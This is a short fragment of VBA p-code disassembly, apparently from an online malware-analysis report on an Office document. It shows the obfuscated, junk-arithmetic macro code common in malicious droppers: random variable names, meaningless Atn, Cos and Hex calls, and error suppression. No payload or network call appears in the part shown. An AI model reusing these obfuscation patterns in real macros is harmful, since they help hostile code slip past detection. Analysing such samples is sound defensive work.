' 	LitDI4 0x0D3D 0x323A 
' 	ArgsLd Hex 0x0001 
' 	St a_DAC41 
' Line #100:
' 	Ld z1AAZA 
' 	Ld fD_AUGA 
' 	Eq 
' 	ElseIfBlock 
' Line #101:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xB2A5 0x029C 
' 	ArgsLd Atn 0x0001 
' 	St VUDABUDA 
' Line #102:
' 	Ld zAQcBw 
' 	Ld GAQAXcwD 
' 	Eq 
' 	ElseIfBlock 
' Line #103:
' 	EndIfBlock 
' Line #104:
' 	EndFunc 
' Line #105:
' Macros/VBA/XcAAAUA4 - 11379 bytes
' Line #0:
' 	FuncDefn (Function wBwAGA())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld XcAAAUA4 
' 	Ld t_BBQQZ 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LineCont 0x0004 02 00 00 00
' 	Ld E1AkDGDw 
' 	Ld CCACQkwx 
' 	Eq 
' 	ElseIfBlock 
' Line #4:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x777E 0x22E4 
' 	ArgsLd Cos 0x0001 
' 	St UAAZC1 
' Line #5:
…

Open this report in the interactive analyzer, or submit your own file for analysis.